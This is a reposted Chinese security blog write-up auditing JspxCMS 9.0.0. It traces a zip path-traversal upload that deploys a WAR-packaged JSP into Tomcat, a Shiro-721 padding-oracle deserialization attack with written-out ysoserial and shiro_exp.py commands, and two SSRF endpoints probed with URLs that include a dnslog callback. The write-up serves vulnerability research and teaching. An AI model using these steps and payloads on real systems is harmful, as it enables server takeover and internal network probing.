JspxCMS 多个漏洞代码审计分析,任意文件上传,Shiro反序列化,SSRF等,搭建调试简单。

admin 2024年7月10日23:11:47评论84 views字数 3152阅读10分30秒阅读模式
嗨,大家好,我是闪石星曜@云渡
今天为大家分享《JspxCMS 系统的代码审计漏洞分析》,该篇文章是来自内部圈子“每周任务安排”计划下不错的文章,来自羊羽师傅。
进入正文。

任意文件上传

登录后台(账号admin 密码空)

在文件上传处,可以上传zip压缩包,且上传的压缩包会自动解压

JspxCMS 多个漏洞代码审计分析,任意文件上传,Shiro反序列化,SSRF等,搭建调试简单。

抓包查看接口地址,为/cmscp/core/web_file_2/zip_upload.do

JspxCMS 多个漏洞代码审计分析,任意文件上传,Shiro反序列化,SSRF等,搭建调试简单。

全局搜索定位到

com/jspxcms/core/web/back/WebFileUploadsController.java下的

zipUpload方法

JspxCMS 多个漏洞代码审计分析,任意文件上传,Shiro反序列化,SSRF等,搭建调试简单。

跟进zipUpload方法:

JspxCMS 多个漏洞代码审计分析,任意文件上传,Shiro反序列化,SSRF等,搭建调试简单。

调用了AntZipUtils.unzip方法

JspxCMS 多个漏洞代码审计分析,任意文件上传,Shiro反序列化,SSRF等,搭建调试简单。

unzip方法传入一个zip压缩包zipFile和一个要解压缩到的目录destDir

通过zip.getEntries遍历zip压缩包里的每个文件,获取它们的名字,并用new File直接和destDir进行拼接,然后向该拼接的文件里写入内容,由于它没有对压缩包里的文件名做过滤,因此我们可以通过路径穿越,上传到webapps目录下

然而默认情况下压缩包里不能包含特殊符号’/’,因此这里用到py脚本:

JspxCMS 多个漏洞代码审计分析,任意文件上传,Shiro反序列化,SSRF等,搭建调试简单。

运行py脚本得到的zip压缩包里的文件名即为”../../1.jsp”

打断点调试:

JspxCMS 多个漏洞代码审计分析,任意文件上传,Shiro反序列化,SSRF等,搭建调试简单。

可以看到在webapps目录下生成了1.jsp文件,说明文件上传成功

JspxCMS 多个漏洞代码审计分析,任意文件上传,Shiro反序列化,SSRF等,搭建调试简单。

然而直接去访问该文件,发现返回404

看到它在访问路径前加了/jsp

JspxCMS 多个漏洞代码审计分析,任意文件上传,Shiro反序列化,SSRF等,搭建调试简单。

通过调试发现com/jspxcms/common/web/JspDispatcherFilter.java

设置了一条Filter,会对访问的 jsp 文件路径前加 /jsp,因此直接上传包含jsp的压缩包无法getshell

JspxCMS 多个漏洞代码审计分析,任意文件上传,Shiro反序列化,SSRF等,搭建调试简单。

解决方法:

tomcat会自动将放在webapps目录下的WAR包解压并部署该应用程序。如果Tomcat正在运行,它会立即加载新部署的应用程序

而由于部署的是另一个应用程序,跟jspxcms项目是独立的,因此JspDispatcherFilter ,因此我们可以上传zip里文件为war的压缩包

war包生成命令:

jar -cvf 1.war 1.jsp

将jsp文件打包成war

再压缩成zip文件

这里需要tomcat下运行项目才能复现

tomcat部署的时候报错

于是在IDEA中重新打包,发现也报错

查询原因,缺少了相关依赖,在pom.xml中添加:

JspxCMS 多个漏洞代码审计分析,任意文件上传,Shiro反序列化,SSRF等,搭建调试简单。

再次打包得到的war文件放到tomcat的webapps下,运行tomcat会自动解压部署该应用程序

JspxCMS 多个漏洞代码审计分析,任意文件上传,Shiro反序列化,SSRF等,搭建调试简单。

访问http://127.0.0.1:8080/jspxcms-9.0.0/cmscp/index.do

上传一个正常的ZIP,发现解压后的文件路径为:webapps/jspxcms-9.0.0/uploads/1

JspxCMS 多个漏洞代码审计分析,任意文件上传,Shiro反序列化,SSRF等,搭建调试简单。

如果需要传到webapps目录下,需要路径穿越3级目录

修改py脚本:

JspxCMS 多个漏洞代码审计分析,任意文件上传,Shiro反序列化,SSRF等,搭建调试简单。

将得到的test.zip文件上传,可以看到在webapps目录下上传了war文件,并且自动解压部署了应用程序

JspxCMS 多个漏洞代码审计分析,任意文件上传,Shiro反序列化,SSRF等,搭建调试简单。

访问http://127.0.0.1:8080/1/1.jsp

JspxCMS 多个漏洞代码审计分析,任意文件上传,Shiro反序列化,SSRF等,搭建调试简单。

Shiro反序列化

查看pom文件,发现使用了shiro框架,且版本为1.3.2

JspxCMS 多个漏洞代码审计分析,任意文件上传,Shiro反序列化,SSRF等,搭建调试简单。

Shiro 并且版本小于 1.4.2,可以利用 Shiro-721

ysoserial 中 CommonsBeanutils1 的利用链需要 Commons-beanutils, Commons-collections 以及 Commons-logging

JspxCMS 多个漏洞代码审计分析,任意文件上传,Shiro反序列化,SSRF等,搭建调试简单。

而这三个在jspxcms中都存在,但是版本不同

JspxCMS 多个漏洞代码审计分析,任意文件上传,Shiro反序列化,SSRF等,搭建调试简单。

先直接尝试看看能否运行

java -jar ysoserial-all.jar CommonsBeanutils1 "calc.exe" > test.ser

在jspxcms项目中进行测试,发现弹窗了,说明该链可用

JspxCMS 多个漏洞代码审计分析,任意文件上传,Shiro反序列化,SSRF等,搭建调试简单。

用shiro反序列化漏洞的利用工具(https://github.com/inspiringz/Shiro-721)进行测试

使用方法:

1、登录网站(勾选自动登录),并从Cookie中获取合法的RememberMe

JspxCMS 多个漏洞代码审计分析,任意文件上传,Shiro反序列化,SSRF等,搭建调试简单。

2、使用Java反序列化工具 ysoserial 生成 Payload:

java -jar ysoserial-all.jar CommonsBeanutils1 "calc.exe" > payload.class

3、通过 Padding Oracle Attack 生成 Evil Rememberme cookie:

python shiro_exp.py <url> <somecookie value> <payload>

这一步运行报错了:

RuntimeError: Could not decrypt byte 15 in bytearray(b'x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00') within maximum allotted retries (3)

JspxCMS 多个漏洞代码审计分析,任意文件上传,Shiro反序列化,SSRF等,搭建调试简单。

解决:

找到paddingoracle.py源码,修改最大尝试次数:

JspxCMS 多个漏洞代码审计分析,任意文件上传,Shiro反序列化,SSRF等,搭建调试简单。

再运行:跑了好几个小时得到cookie

JspxCMS 多个漏洞代码审计分析,任意文件上传,Shiro反序列化,SSRF等,搭建调试简单。

4、使用Evil Rememberme cookie 认证进行反序列化攻击

JspxCMS 多个漏洞代码审计分析,任意文件上传,Shiro反序列化,SSRF等,搭建调试简单。

Cookie字段只保留rememberMe

ssrf-1

全局搜索关键字openConnection

JspxCMS 多个漏洞代码审计分析,任意文件上传,Shiro反序列化,SSRF等,搭建调试简单。

发现有几处使用了 openConnection,经过追踪分析发现 UploadControllerAbstract#ueditorCatchImage() 方法下存在漏洞点

JspxCMS 多个漏洞代码审计分析,任意文件上传,Shiro反序列化,SSRF等,搭建调试简单。

src参数是用户可控的,且没有进行过滤。控制参数 source[],即可实现资源请求操作,进而造成 SSRF 漏洞。

向上追踪,看看哪里调用了ueditorCatchImage

有两处调用了该方法

这里查看

src/main/java/com/jspxcms/core/web/back/UploadController.java

JspxCMS 多个漏洞代码审计分析,任意文件上传,Shiro反序列化,SSRF等,搭建调试简单。

可以得知当传参action=catchimage时,就会调用ueditorCatchImage方法

该接口地址:/core/ueditor.do

传参action=catchimage&source[]=https://www.baidu.com

如果页面存在,会返回SUCCESS

http://localhost:8080/cmscp/core/ueditor.do?action=catchimage&source]=http://127.0.0.1:8080

JspxCMS 多个漏洞代码审计分析,任意文件上传,Shiro反序列化,SSRF等,搭建调试简单。

不存在会报错

JspxCMS 多个漏洞代码审计分析,任意文件上传,Shiro反序列化,SSRF等,搭建调试简单。

dnslog:

[http://localhost:8080/cmscp/core/ueditor.do?action=catchimage&source]=http://jzm373.dnslog.cn

JspxCMS 多个漏洞代码审计分析,任意文件上传,Shiro反序列化,SSRF等,搭建调试简单。

ssrf-2

全局搜索关键字HttpClient.execute

JspxCMS 多个漏洞代码审计分析,任意文件上传,Shiro反序列化,SSRF等,搭建调试简单。

发现有几处使用了 ,经过追踪分析发现

CollectController#fetchUrl -> Collect#fetchHtml 方法下存在漏洞点

JspxCMS 多个漏洞代码审计分析,任意文件上传,Shiro反序列化,SSRF等,搭建调试简单。

通过给fetchHtml方法传uri参数,并对uri进行httpclient连接

如果uri参数用户可控,即可造成ssrf漏洞

向上追踪

发现CollectController#fetchUrl 方法的uri参数可控

JspxCMS 多个漏洞代码审计分析,任意文件上传,Shiro反序列化,SSRF等,搭建调试简单。

接口地址:/ext/collect/fetch_url.do

参数url

http://localhost:8080/cmscp/ext/collect/fetch_url.do?url=https://www.baidu.com

JspxCMS 多个漏洞代码审计分析,任意文件上传,Shiro反序列化,SSRF等,搭建调试简单。

参考链接:https://xz.aliyun.com/t/10891https://www.cnblogs.com/yokan/p/16248509.html

原文始发于微信公众号(闪石星曜CyberSecurity):JspxCMS 多个漏洞代码审计分析,任意文件上传,Shiro反序列化,SSRF等,搭建调试简单。

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年7月10日23:11:47
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   JspxCMS 多个漏洞代码审计分析,任意文件上传,Shiro反序列化,SSRF等,搭建调试简单。https://cn-sec.com/archives/2935452.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息